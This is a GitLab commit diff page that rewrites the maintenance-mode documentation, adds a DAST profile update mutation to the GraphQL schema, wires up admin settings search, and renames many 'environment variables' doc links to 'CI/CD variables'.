kotovalexarian-likes-gitlab/gitlab-org--gitlab-foss
1
0
Fork 0
Code Releases Activity

Add latest changes from gitlab-org/gitlab@master

Browse source
This commit is contained in:
GitLab Bot 2021-02-12 06:09:11 +00:00
parent 6011d00072
commit 22864cafe7
57 changed files with 659 additions and 230 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

2
app/assets/javascripts/pages/admin/application_settings/index.js
View file

@ -2,6 +2,7 @@ import initSettingsPanels from '~/settings_panels';
import projectSelect from '~/project_select';
import selfMonitor from '~/self_monitor';
import initVariableList from '~/ci_variable_list';
import initSearchSettings from '~/search_settings';
document.addEventListener('DOMContentLoaded', () => {
if (gon.features?.ciInstanceVariablesUi) {
@ -11,4 +12,5 @@ document.addEventListener('DOMContentLoaded', () => {
// Initialize expandable settings panels
initSettingsPanels();
projectSelect();
initSearchSettings();
});

2
app/views/admin/application_settings/ci/_header.html.haml
View file

@ -8,7 +8,7 @@
%p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
= link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-level-cicd-environment-variables'), target: '_blank', rel: 'noopener noreferrer'
= link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-level-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul

5
app/views/layouts/admin.html.haml
View file

@ -3,4 +3,9 @@
- nav "admin"
- @left_sidebar = true
-# This active_nav_link check is also used in `app/views/layouts/nav/sidebar/_admin.html.haml`
- is_application_settings = active_nav_link?(controller: [:application_settings, :integrations])
- enable_search_settings if is_application_settings
= render template: "layouts/application"

1
app/views/layouts/nav/sidebar/_admin.html.haml
View file

@ -247,6 +247,7 @@
= _('Settings')
%ul.sidebar-sub-level-items{ data: { qa_selector: 'admin_sidebar_settings_submenu_content' } }
-# This active_nav_link check is also used in `app/views/layouts/admin.html.haml`
= nav_link(controller: [:application_settings, :integrations], html_options: { class: "fly-out-top-item" } ) do
= link_to general_admin_application_settings_path do
%strong.fly-out-top-item-name

1
config/known_invalid_graphql_queries.yml
View file

@ -2,5 +2,4 @@
filenames:
- ee/app/assets/javascripts/oncall_schedules/graphql/mutations/update_oncall_schedule_rotation.mutation.graphql
- ee/app/assets/javascripts/security_configuration/api_fuzzing/graphql/api_fuzzing_ci_configuration.query.graphql
- ee/app/assets/javascripts/on_demand_scans/graphql/dast_profile_update.mutation.graphql
- ee/app/assets/javascripts/security_configuration/api_fuzzing/graphql/create_api_fuzzing_configuration.mutation.graphql

150
doc/administration/maintenance_mode/index.md
View file

@ -8,11 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2149) in GitLab Premium 13.9.
In maintenance mode, most write operations are disabled at the application level.
This means that GitLab is effectively in a read-only mode for all non-administrative
users (administrators are still able to edit application settings). Regular users
are able to log in to GitLab, view the interface and perform other read-only
operations, such as `git clone` or `git pull`.
Maintenance mode allows administrators to reduce write operations to a minimum while maintenance tasks are performed. The main goal is to block all external actions that change the internal state, including the PostgreSQL database, but especially files, Git repositories, Container repositories, etc.
Once maintenance mode is enabled, in-progress actions will finish relatively quickly since no new actions are coming in, and internal state changes will be minimal.
In that state, various maintenance tasks are easier, and services can be stopped completely or be
further degraded for a much shorter period of time than might otherwise be needed, for example stopping cron jobs and draining queues should be fairly quick.
Maintenance mode allows most external actions that do not change internal state. On a high-level, HTTP POST, PUT, PATCH, and DELETE requests are blocked and a detailed overview of [how special cases are handled](#rest-api) is available.
## Enable maintenance mode
@ -21,6 +23,7 @@ There are three ways to enable maintenance mode as an administrator:
- **Web UI**:
1. Go to **Admin Area > Settings > General**, expand **Maintenance mode**, and toggle **Enable maintenance mode**.
You can optionally add a message for the banner as well.
1. Click **Save** for the changes to take effect.
- **API**:
@ -42,6 +45,7 @@ There are three ways to disable maintenance mode:
- **Web UI**:
1. Go to **Admin Area > Settings > General**, expand **Maintenance mode**, and toggle **Enable maintenance mode**.
1. Click **Save** for the changes to take effect.
- **API**:
@ -56,31 +60,72 @@ There are three ways to disable maintenance mode:
::Gitlab::CurrentSettings.update_attributes!(maintenance_mode: false)
```
## Behavior in maintenance mode
## Behavior of GitLab features in maintenance mode
When maintenance mode is enabled, a banner is displayed at the top of the page.
The banner can be customized with a specific message.
An error is displayed when a user tries to perform a write operation that isn't allowed.
The API will return a 403 or 503 error for failed write requests.
![Maintenance mode banner and error message](maintenance_mode_error_message.png)
NOTE:
In some cases, the visual feedback from an action could be misleading, for example
when starring a project, the **Star** button changes to show the **Unstar** action,
however, this is only the frontend update, and it doesn't take into account the
failed status of the POST request. These visual bugs are to be fixed
[in follow-up iterations](https://gitlab.com/gitlab-org/gitlab/-/issues/295197).
In some cases, the visual feedback from an action could be misleading, for example when starring a project, the **Star** button changes to show the **Unstar** action, however, this is only the frontend update, and it doesn't take into account the failed status of the POST request. These visual bugs are to be fixed [in follow-up iterations](https://gitlab.com/gitlab-org/gitlab/-/issues/295197).
### Application settings
### Admin functions
In maintenance mode, admins can edit the application settings. This will allow
Systems administrators can edit the application settings. This will allow
them to disable maintenance mode after it's been enabled.
### Logging in/out
### Authentication
All users can log in and out of the GitLab instance.
All users can log in and out of the GitLab instance but no new users can be created.
### CI/CD
If there are [LDAP syncs](../auth/ldap/index.md) scheduled for that time, they will fail since user creation is disabled. Similarly, [user creations based on SAML](../../integration/saml.md#general-setup) will fail.
### Git actions
All read-only Git operations will continue to work, for example
`git clone` and `git pull`. All write operations will fail, both through the CLI and Web IDE with the error message: `Git push is not allowed because this GitLab instance is currently in (read-only) maintenance mode.`
If Geo is enabled, Git pushes to both primary and secondaries will fail.
### Merge requests, issues, epics
All write actions except those mentioned above will fail. For example, a user cannot update merge requests or issues.
### Incoming email
Creating new issue replies, issues (including new Service Desk issues), merge requests [by email](../incoming_email.md) will fail.
### Outgoing email
Notification emails will continue to arrive, but emails that require database writes, like resetting the password, will not arrive.
### REST API
For most JSON requests, POST, PUT, PATCH, and DELETE are blocked, and the API returns a 403 response with the error message: `You cannot perform write operations on a read-only instance`. Only the following requests are allowed:
|HTTP request | Allowed routes | Notes |
|:----:|:--------------------------------------:|:----:|
| POST | `/admin/application_settings/general` | To allow updating application settings in the admin UI |
| PUT | `/api/v4/application/settings` | To allow updating application settings with the API |
| POST | `/users/sign_in` | To allow users to log in. |
| POST | `/users/sign_out`| To allow users to log out. |
| POST | `/oauth/token` | To allow users to log in to a Geo secondary for the first time. |
| POST | `/admin/session`, `/admin/session/destroy` | To allow [Admin mode for GitLab administrators](https://gitlab.com/groups/gitlab-org/-/epics/2158) |
| POST | Paths ending with `/compare`| Git revision routes. |
| POST | `.git/git-upload-pack` | To allow Git pull/clone. |
| POST | `/api/v4/internal` | [internal API routes](../../development/internal_api.md) |
| POST | `/admin/sidekiq` | To allow management of background jobs in the admin UI |
| POST | `/admin/geo` | To allow updating Geo Nodes in the admin UI |
| POST | `/api/v4/geo_replication`| To allow certain Geo-specific admin UI actions on secondary sites |
### GraphQL API
`POST /api/graphql` requests are allowed but mutations are blocked with the error message `You cannot perform write operations on a read-only instance`.
### Continuous Integration
In maintenance mode:
@ -92,37 +137,30 @@ In maintenance mode:
- Pipelines cannot be started, retried or canceled in maintenance mode.
No new jobs can be created either.
Once maintenance mode is disabled, new jobs are picked up again. The jobs that were
in the running state before enabling maintenance mode, will resume, and their logs
will start getting updated again.
Once maintenance mode is disabled, new jobs are picked up again. The jobs that were in the running state before enabling maintenance mode, will resume, and their logs will start getting updated again.
### Git actions
### Deployments
All read-only Git operations will continue to work in maintenance mode, for example
`git clone` and `git pull`, but all write operations will fail, both through the CLI
and Web IDE.
Geo secondaries are read-only instances that allow Git pushes because they are
proxied to the primary instance. However, in maintenance mode, Git pushes to
both primary and secondaries will fail.
### Merge requests, issues, epics
All write actions except those mentioned above will fail. So, in maintenance mode, a user cannot update merge requests, issues, etc.
### Container Registry
In maintenance mode, `docker push` is blocked, but `docker pull` is available.
### Auto Deploys
Deployments won't go through because pipelines will be unfinished.
It is recommended to disable auto deploys during maintenance mode, and enable
them once maintenance mode is disabled.
#### Terraform integration
Terraform integration depends on running CI pipelines, hence it will be blocked.
### Container Registry
`docker push` will fail with this error: `denied: requested access to the resource is denied`, but `docker pull` will work.
### Package Registry
Package Registry will allow you to install but not publish packages.
### Background jobs
Background jobs (cron jobs, Sidekiq) will continue running as is, because maintenance
mode does not disable any background jobs.
Background jobs (cron jobs, Sidekiq) will continue running as is, because background jobs are not automatically disabled.
[During a planned Geo failover](../geo/disaster_recovery/planned_failover.md#prevent-updates-to-the-primary-node),
it is recommended that you disable all cron jobs except for those related to Geo.
@ -131,11 +169,37 @@ You can monitor queues and disable jobs in **Admin Area > Monitoring > Backgroun
### Incident management
During Maintenance Mode, [Incident management](../../operations/incident_management/index.md) functions will be limited. The creation of [alerts](../../operations/incident_management/alerts.md) and [incidents](../../operations/incident_management/incidents.md#incident-creation) will be paused entirely. Notifications and paging on alerts and incidents will therefore be disabled.
[Incident management](../../operations/incident_management/index.md) functions will be limited. The creation of [alerts](../../operations/incident_management/alerts.md) and [incidents](../../operations/incident_management/incidents.md#incident-creation) will be paused entirely. Notifications and paging on alerts and incidents will therefore be disabled.
### Feature flags
- [Development feature flags](../../development/feature_flags/index.md) cannot be turned on or off through the API, but can be toggled through the Rails console.
- [The feature flag service](../../operations/feature_flags.md) will respond to feature flag checks but feature flags cannot be toggled
### Geo secondaries
The maintenance mode setting will be propagated to the secondary as they sync up.
When primary is in maintenance mode, secondary will also automatically go into maintenance mode.
It is important that you do not disable replication before enabling maintenance mode.
Replication and verification will continue to work in maintenance mode.
Replication and verification will continue to work but proxied Git pushes to primary will not work.
### Secure features
Features that depend on creating issues or creating or approving Merge Requests, will not work.
Exporting a vulnerability list from a Vulnerability Report page will not work.
Changing the status on a finding or vulnerability object will not work, even though no error is shown in the UI.
SAST and Secret Detection cannot be initiated because they depend on passing CI jobs to create artifacts.
## An example use case: a planned failover
In the use case of [a planned failover](../geo/disaster_recovery/planned_failover.md), a few writes in the primary database are acceptable, since they will be replicated quickly and are not significant in number.
For the same reason we don't automatically block background jobs when maintenance mode is enabled.
The resulting database writes are acceptable. Here, the trade-off is between more service degradation and the completion of replication.
However, during a planned failover, we [ask users to turn off cron jobs that are not related to Geo, manually](../geo/disaster_recovery/planned_failover.md#prevent-updates-to-the-primary-node). In the absence of new database writes and non-Geo cron jobs, new background jobs would either not be created at all or be minimal.

BIN
doc/administration/maintenance_mode/maintenance_mode_error_message.png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 41 KiB

73
doc/api/graphql/reference/gitlab_schema.graphql
View file

@ -5967,6 +5967,78 @@ type DastProfileRunPayload {
pipelineUrl: String
}
"""
Autogenerated input type of DastProfileUpdate
"""
input DastProfileUpdateInput {
"""
A unique identifier for the client performing the mutation.
"""
clientMutationId: String
"""
ID of the scanner profile to be associated.
"""
dastScannerProfileId: DastScannerProfileID
"""
ID of the site profile to be associated.
"""
dastSiteProfileId: DastSiteProfileID
"""
The description of the profile. Defaults to an empty string.
"""
description: String = ""
"""
The project the profile belongs to.
"""
fullPath: ID!
"""
ID of the profile to be deleted.
"""
id: DastProfileID!
"""
The name of the profile.
"""
name: String
"""
Run scan using profile after update. Defaults to false.
"""
runAfterUpdate: Boolean = false
}
"""
Autogenerated return type of DastProfileUpdate
"""
type DastProfileUpdatePayload {
"""
A unique identifier for the client performing the mutation.
"""
clientMutationId: String
"""
The updated profile.
"""
dastProfile: DastProfile
"""
Errors encountered during execution of the mutation.
"""
errors: [String!]!
"""
The URL of the pipeline that was created. Requires the input argument
`runAfterUpdate` to be set to `true` when calling the mutation, otherwise no
pipeline will be created.
"""
pipelineUrl: String
}
enum DastScanTypeEnum {
"""
Active DAST scan. This scan will make active attacks against the target site.
@ -16652,6 +16724,7 @@ type Mutation {
dastProfileCreate(input: DastProfileCreateInput!): DastProfileCreatePayload
dastProfileDelete(input: DastProfileDeleteInput!): DastProfileDeletePayload
dastProfileRun(input: DastProfileRunInput!): DastProfileRunPayload
dastProfileUpdate(input: DastProfileUpdateInput!): DastProfileUpdatePayload
dastScannerProfileCreate(input: DastScannerProfileCreateInput!): DastScannerProfileCreatePayload
dastScannerProfileDelete(input: DastScannerProfileDeleteInput!): DastScannerProfileDeletePayload
dastScannerProfileUpdate(input: DastScannerProfileUpdateInput!): DastScannerProfileUpdatePayload

207
doc/api/graphql/reference/gitlab_schema.json
View file

@ -16233,6 +16233,186 @@
"enumValues": null,
"possibleTypes": null
},
{
"kind": "INPUT_OBJECT",
"name": "DastProfileUpdateInput",
"description": "Autogenerated input type of DastProfileUpdate",
"fields": null,
"inputFields": [
{
"name": "id",
"description": "ID of the profile to be deleted.",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "DastProfileID",
"ofType": null
}
},
"defaultValue": null
},
{
"name": "fullPath",
"description": "The project the profile belongs to.",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "ID",
"ofType": null
}
},
"defaultValue": null
},
{
"name": "name",
"description": "The name of the profile.",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"defaultValue": null
},
{
"name": "description",
"description": "The description of the profile. Defaults to an empty string.",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"defaultValue": "\"\""
},
{
"name": "dastSiteProfileId",
"description": "ID of the site profile to be associated.",
"type": {
"kind": "SCALAR",
"name": "DastSiteProfileID",
"ofType": null
},
"defaultValue": null
},
{
"name": "dastScannerProfileId",
"description": "ID of the scanner profile to be associated.",
"type": {
"kind": "SCALAR",
"name": "DastScannerProfileID",
"ofType": null
},
"defaultValue": null
},
{
"name": "runAfterUpdate",
"description": "Run scan using profile after update. Defaults to false.",
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
},
"defaultValue": "false"
},
{
"name": "clientMutationId",
"description": "A unique identifier for the client performing the mutation.",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"defaultValue": null
}
],
"interfaces": null,
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "DastProfileUpdatePayload",
"description": "Autogenerated return type of DastProfileUpdate",
"fields": [
{
"name": "clientMutationId",
"description": "A unique identifier for the client performing the mutation.",
"args": [
],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "dastProfile",
"description": "The updated profile.",
"args": [
],
"type": {
"kind": "OBJECT",
"name": "DastProfile",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "errors",
"description": "Errors encountered during execution of the mutation.",
"args": [
],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "pipelineUrl",
"description": "The URL of the pipeline that was created. Requires the input argument `runAfterUpdate` to be set to `true` when calling the mutation, otherwise no pipeline will be created.",
"args": [
],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [
],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "ENUM",
"name": "DastScanTypeEnum",
@ -46493,6 +46673,33 @@
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "dastProfileUpdate",
"description": null,
"args": [
{
"name": "input",
"description": null,
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "INPUT_OBJECT",
"name": "DastProfileUpdateInput",
"ofType": null
}
},
"defaultValue": null
}
],
"type": {
"kind": "OBJECT",
"name": "DastProfileUpdatePayload",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "dastScannerProfileCreate",
"description": null,

11
doc/api/graphql/reference/index.md
View file

@ -963,6 +963,17 @@ Autogenerated return type of DastProfileRun.
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `pipelineUrl` | String | URL of the pipeline that was created. |
### DastProfileUpdatePayload
Autogenerated return type of DastProfileUpdate.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `dastProfile` | DastProfile | The updated profile. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `pipelineUrl` | String | The URL of the pipeline that was created. Requires the input argument `runAfterUpdate` to be set to `true` when calling the mutation, otherwise no pipeline will be created. |
### DastScannerProfile
Represents a DAST scanner profile.

2
doc/ci/caching/index.md
View file

@ -87,7 +87,7 @@ use one or more of the following:
that are only available to a particular project.
- [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example,
different caches on each branch). For that, you can take advantage of the
[CI/CD predefined variables](../variables/README.md#predefined-environment-variables).
[predefined CI/CD variables](../variables/README.md#predefined-cicd-variables).
For runners to work with caches efficiently, you must do one of the following:

6
doc/ci/chatops/index.md
View file

@ -25,7 +25,7 @@ with the following arguments:
- A `<job name>` to execute.
- The `<job arguments>`.
ChatOps passes the following [CI/CD variables](../variables/README.md#predefined-environment-variables)
ChatOps passes the following [CI/CD variables](../variables/README.md#predefined-cicd-variables)
to the job:
- `CHAT_INPUT` contains any additional arguments.
@ -55,9 +55,9 @@ functions available. Consider these best practices when creating ChatOps jobs:
- ChatOps provides limited support for access control. If the user triggering the
slash command has [Developer access or above](../../user/permissions.md#project-members-permissions)
in the project, the job runs. The job itself can use existing
[CI/CD variables](../variables/README.md#predefined-environment-variables) like
[CI/CD variables](../variables/README.md#predefined-cicd-variables) like
`GITLAB_USER_ID` to perform additional rights validation, but
these variables can be [overridden](../variables/README.md#priority-of-environment-variables).
these variables can be [overridden](../variables/README.md#priority-of-cicd-variables).
### Controlling the ChatOps reply

18
doc/ci/cloud_deployment/index.md
View file

@ -38,7 +38,7 @@ Some credentials are required to be able to run `aws` commands:
A new **Access key ID** and **Secret access key** are generated. Please take a note of them right away.
1. In your GitLab project, go to **Settings > CI / CD**. Set the following as
[environment variables](../variables/README.md#gitlab-cicd-environment-variables)
[CI/CD variables](../variables/README.md)
(see table below):
- Access key ID.
@ -141,15 +141,15 @@ After you have these prerequisites ready, follow these steps:
```
You can create your `CI_AWS_ECS_TASK_DEFINITION_FILE` variable as a
[file-typed environment variable](../variables/README.md#custom-environment-variables-of-type-file) instead of a
regular environment variable. If you choose to do so, set the variable value to be the full contents of
[file-typed CI/CD variable](../variables/README.md#custom-cicd-variables-of-type-file) instead of a
regular CI/CD variable. If you choose to do so, set the variable value to be the full contents of
the JSON task definition. You can then remove the JSON file from your project.
In both cases, make sure that the value for the `containerDefinitions[].name` attribute is
the same as the `Container name` defined in your targeted ECS service.
WARNING:
`CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these environment
`CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these
variables are defined within your project.
NOTE:
@ -252,12 +252,12 @@ pass three JSON input objects, based on existing templates:
CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json'
```
- Alternatively, you can provide these JSON objects as [file-typed environment variables](../variables/README.md#custom-environment-variables-of-type-file).
In your project, go to **Settings > CI / CD > Variables** and add
the three variables listed above as file-typed environment variables.
For each variable, set the value to its corresponding JSON object.
- Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#custom-cicd-variables-of-type-file).
In your project, go to **Settings > CI/CD > Variables** and add
the three variables listed above as file-typed CI/CD variables.
For each variable, set the value to its corresponding JSON object.
1. Provide the name of the stack you're creating and/or targeting, as an environment variable:
1. Provide the name of the stack you're creating and/or targeting, as a CI/CD variable:
```yaml
variables:

8
doc/ci/docker/using_docker_images.md
View file

@ -528,7 +528,7 @@ To access private container registries, the GitLab Runner process can use:
To define which should be used, the GitLab Runner process reads the configuration in the following order:
- `DOCKER_AUTH_CONFIG` variable provided as either:
- A [variable](../variables/README.md#gitlab-cicd-environment-variables) in `.gitlab-ci.yml`.
- A [variable](../variables/README.md) in `.gitlab-ci.yml`.
- A project's variables stored on the projects **Settings > CI/CD** page.
- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the runner.
- `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process.
@ -627,7 +627,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`:
To configure a single job with access for `registry.example.com:5000`,
follow these steps:
1. Create a [variable](../variables/README.md#gitlab-cicd-environment-variables) `DOCKER_AUTH_CONFIG` with the content of the
1. Create a [variable](../variables/README.md) `DOCKER_AUTH_CONFIG` with the content of the
Docker configuration file as the value:
```json
@ -702,7 +702,7 @@ To configure credentials store, follow these steps:
1. Make GitLab Runner use it. There are two ways to accomplish this. Either:
- Create a
[variable](../variables/README.md#gitlab-cicd-environment-variables)
[variable](../variables/README.md)
`DOCKER_AUTH_CONFIG` with the content of the
Docker configuration file as the value:
@ -734,7 +734,7 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th
Make sure that GitLab Runner can access the credentials.
1. Make GitLab Runner use it. There are two ways to accomplish this. Either:
- Create a [variable](../variables/README.md#gitlab-cicd-environment-variables)
- Create a [variable](../variables/README.md)
`DOCKER_AUTH_CONFIG` with the content of the
Docker configuration file as the value:

2
doc/ci/docker/using_kaniko.md
View file

@ -49,7 +49,7 @@ In the following example, kaniko is used to:
The job runs only when a tag is pushed. A `config.json` file is created under
`/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the
[environment variables](../variables/README.md#predefined-environment-variables)
[predefined CI/CD variables](../variables/README.md#predefined-cicd-variables)
GitLab CI/CD provides.
In the last step, kaniko uses the `Dockerfile` under the

8
doc/ci/environments/index.md
View file

@ -313,9 +313,9 @@ Dynamic environments are a fundamental part of [Review apps](../review_apps/inde
The `name` and `url` keywords for dynamic environments can use most available CI/CD variables,
including:
- [Predefined environment variables](../variables/README.md#predefined-environment-variables)
- [Project and group variables](../variables/README.md#gitlab-cicd-environment-variables)
- [`.gitlab-ci.yml` variables](../yaml/README.md#variables)
- [Predefined CI/CD variables](../variables/README.md#predefined-cicd-variables)
- [Project and group CI/CD variables](../variables/README.md)
- [`.gitlab-ci.yml` CI/CD variables](../yaml/README.md#variables)
However, you cannot use variables defined:
@ -1025,7 +1025,7 @@ with `review/` would have that particular variable.
Some GitLab features can behave differently for each environment.
For example, you can
[create a secret variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scopes-of-environment-variables).
[create a secret variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scopes-of-cicd-variables).
In most cases, these features use the _environment specs_ mechanism, which offers
an efficient way to implement scoping within each environment group.

2
doc/ci/examples/end_to_end_testing_webdriverio/index.md
View file

@ -191,7 +191,7 @@ option as an argument to `npm run confidence-check` on the command line.
However, we still need to tell WebdriverIO which browser is available for it to use.
[GitLab CI/CD makes
a number of variables available](../../variables/README.md#predefined-environment-variables)
a number of variables available](../../variables/README.md#predefined-cicd-variables)
with information about the current CI job. We can use this information to dynamically set
up our WebdriverIO configuration according to the job that is running. More specifically, we can
tell WebdriverIO what browser to execute the test on depending on the name of the currently running

2
doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
View file

@ -119,7 +119,7 @@ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa
```
Now, let's add it to your GitLab project as a [variable](../../variables/README.md#gitlab-cicd-environment-variables).
Now, let's add it to your GitLab project as a [CI/CD variable](../../variables/README.md).
Variables are user-defined variables and are stored out of `.gitlab-ci.yml`, for security purposes.
They can be added per project by navigating to the project's **Settings** > **CI/CD**.

4
doc/ci/jobs/index.md
View file

@ -150,9 +150,9 @@ additional variables. To access this page, click on the **name** of the manual j
the pipeline view, *not* the play (**{play}**) button.
This is useful when you want to alter the execution of a job that uses
[custom environment variables](../variables/README.md#custom-environment-variables).
[custom environment variables](../variables/README.md#custom-cicd-variables).
Add a variable name (key) and value here to override the value defined in
[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-environment-variables),
[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-cicd-variables),
for a single run of the manual job.
![Manual job variables](img/manual_job_variables.png)

2
doc/ci/migration/circleci.md
View file

@ -265,7 +265,7 @@ test_async:
## Contexts and variables
CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [variables](../variables/README.md#group-level-environment-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [variables](../variables/README.md#group-level-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs

2
doc/ci/multi_project_pipelines.md
View file

@ -220,7 +220,7 @@ the ones defined in the upstream project take precedence.
#### With variable inheritance
You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#inherit-environment-variables) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs).
You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#inherit-cicd-variables) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs).
In the upstream pipeline:

2
doc/ci/pipelines/index.md
View file

@ -77,7 +77,7 @@ You can also configure specific aspects of your pipelines through the GitLab UI.
- [Pipeline settings](settings.md) for each project.
- [Pipeline schedules](schedules.md).
- [Custom CI/CD variables](../variables/README.md#custom-environment-variables).
- [Custom CI/CD variables](../variables/README.md#custom-cicd-variables).
### Ref Specs for Runners

4
doc/ci/pipelines/settings.md
View file

@ -351,9 +351,9 @@ https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_te
![Badge with custom text and width](https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130)
## Environment Variables
## CI/CD Variables
[Environment variables](../variables/README.md#gitlab-cicd-environment-variables) can be set in an environment to be available to a runner.
[CI/CD variables](../variables/README.md) can be set to be available to a runner.
<!-- ## Troubleshooting

4
doc/ci/secrets/index.md
View file

@ -80,7 +80,7 @@ To configure your Vault server:
1. Configure roles on your Vault server, restricting roles to a project or namespace,
as described in [Configure Vault server roles](#configure-vault-server-roles) on this page.
1. [Create the following CI variables](../variables/README.md#custom-environment-variables)
1. [Create the following CI variables](../variables/README.md#custom-cicd-variables)
to provide details about your Vault server:
- `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`.
Required.
@ -114,7 +114,7 @@ In this example:
After GitLab fetches the secret from Vault, the value is saved in a temporary file.
The path to this file is stored in environment variable named `DATABASE_PASSWORD`,
similar to [CI variables of type `file`](../variables/README.md#custom-environment-variables-of-type-file).
similar to [CI variables of type `file`](../variables/README.md#custom-cicd-variables-of-type-file).
For more information about the supported syntax, read the
[`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault).

4
doc/ci/ssh_keys/index.md
View file

@ -51,7 +51,7 @@ to access it. This is where an SSH key pair comes in handy.
**Do not** add a passphrase to the SSH key, or the `before_script` will
prompt for it.
1. Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables).
1. Create a new [CI/CD variable](../variables/README.md).
As **Key** enter the name `SSH_PRIVATE_KEY` and in the **Value** field paste
the content of your _private_ key that you created earlier.
@ -159,7 +159,7 @@ ssh-keyscan example.com
ssh-keyscan 1.2.3.4
```
Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables) with
Create a new [CI/CD variable](../variables/README.md) with
`SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`.
If you need to connect to multiple servers, all the server host keys

8
doc/ci/triggers/README.md
View file

@ -17,7 +17,7 @@ The following methods of authentication are supported:
- [Trigger token](#trigger-token)
- [CI job token](#ci-job-token)
If using the `$CI_PIPELINE_SOURCE` [predefined environment variable](../variables/predefined_variables.md)
If using the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md)
to limit which jobs run in a pipeline, the value could be either `pipeline` or `trigger`,
depending on which trigger method is used.
@ -35,12 +35,12 @@ A unique trigger token can be obtained when [adding a new trigger](#adding-a-new
WARNING:
Passing plain text tokens in public projects is a security issue. Potential
attackers can impersonate the user that exposed their trigger token publicly in
their `.gitlab-ci.yml` file. Use [variables](../variables/README.md#gitlab-cicd-environment-variables)
their `.gitlab-ci.yml` file. Use [CI/CD variables](../variables/README.md)
to protect trigger tokens.
### CI job token
You can use the `CI_JOB_TOKEN` [variable](../variables/README.md#predefined-environment-variables) (used to authenticate
You can use the `CI_JOB_TOKEN` [CI/CD variable](../variables/README.md#predefined-cicd-variables) (used to authenticate
with the [GitLab Container Registry](../../user/packages/container_registry/index.md)) in the following cases.
#### When used with multi-project pipelines
@ -247,7 +247,7 @@ curl --request POST \
"https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
```
Trigger variables have the [highest priority](../variables/README.md#priority-of-environment-variables)
Trigger variables have the [highest priority](../variables/README.md#priority-of-cicd-variables)
of all types of variables.
## Using cron to trigger nightly pipelines

103
doc/ci/variables/README.md
View file

@ -5,20 +5,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
# GitLab CI/CD environment variables
# GitLab CI/CD variables
An environment variable is a dynamically-named value that can
affect the way running processes behave on an operating
system.
CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md)
